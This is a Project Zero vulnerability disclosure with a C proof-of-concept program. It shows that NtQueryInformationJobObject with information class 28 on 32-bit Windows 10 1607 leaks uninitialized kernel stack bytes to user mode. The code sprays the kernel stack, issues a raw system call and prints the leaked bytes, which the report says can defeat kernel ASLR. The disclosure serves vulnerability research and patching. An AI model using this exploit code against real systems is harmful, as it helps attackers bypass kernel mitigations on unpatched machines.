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/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1194 We have discovered that the nt!NtQueryInformationJobObject system call (corresponding to the documented QueryInformationJobObject() API function) called with the 28 information class discloses portions of uninitialized kernel stack memory to user-mode clients. The specific name of the 28 information class or the layout of the corresponding output buffer are unknown to us; however, we have determined that on Windows 10 1607 32-bit, an output size of 40 bytes is accepted. At the end of that memory area, 16 uninitialized bytes from the kernel stack are leaked to the client application. The attached proof-of-concept program demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with infoclass=28 and the allowed output size. An example output is as follows: --- cut --- 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 41 41 41 41 41 41 41 41 ........AAAAAAAA 00000020: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........ --- cut --- It is clearly visible here that 16 bytes copied from ring-0 to ring-3 remained uninitialized. If the stack spraying function call is commented out, raw kernel pointers can be observed in the output. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <winternl.h> #include <cstdio> extern "C" ULONG WINAPI NtMapUserPhysicalPages( PVOID BaseAddress, ULONG NumberOfPages, PULONG PageFrameNumbers ); // For native 32-bit execution. extern "C" ULONG CDECL SystemCall32(DWORD ApiNumber, ...) { __asm{mov eax, ApiNumber}; __asm{lea edx, ApiNumber + 4}; __asm{int 0x2e}; } VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) { for (ULONG i = 0; i < size; i++) { ptr[i] = byte; } } VOID SprayKernelStack() { // Buffer allocated in static program memory, hence doesn't touch the local stack. static BYTE buffer[4096]; // Fill the buffer with 'A's and spray the kernel stack. MyMemset(buffer, 'A', sizeof(buffer)); NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer); // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's. MyMemset(buffer, 'B', sizeof(buffer)); } int main() { // Windows 10 1607 32-bit. CONST ULONG __NR_NtQueryInformationJobObject = 0x00b9; // Create a job object to operate on. HANDLE hJob = CreateJobObject(NULL, NULL); // Spray the kernel stack with a marker value, to get visible results. SprayKernelStack(); // Trigger the bug in nt!NtQueryInformationJobObject(class 28, output length 40). DWORD ReturnLength = 0; BYTE output[40] = { /* zero padding */ }; NTSTATUS st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, 28, output, sizeof(output), &ReturnLength); if (!NT_SUCCESS(st)) { printf("NtQueryInformationJobObject failed, %x\n", st); CloseHandle(hJob); return 1; } // Print out the output. PrintHex(output, ReturnLength); // Free resources. CloseHandle(hJob); return 0; } |
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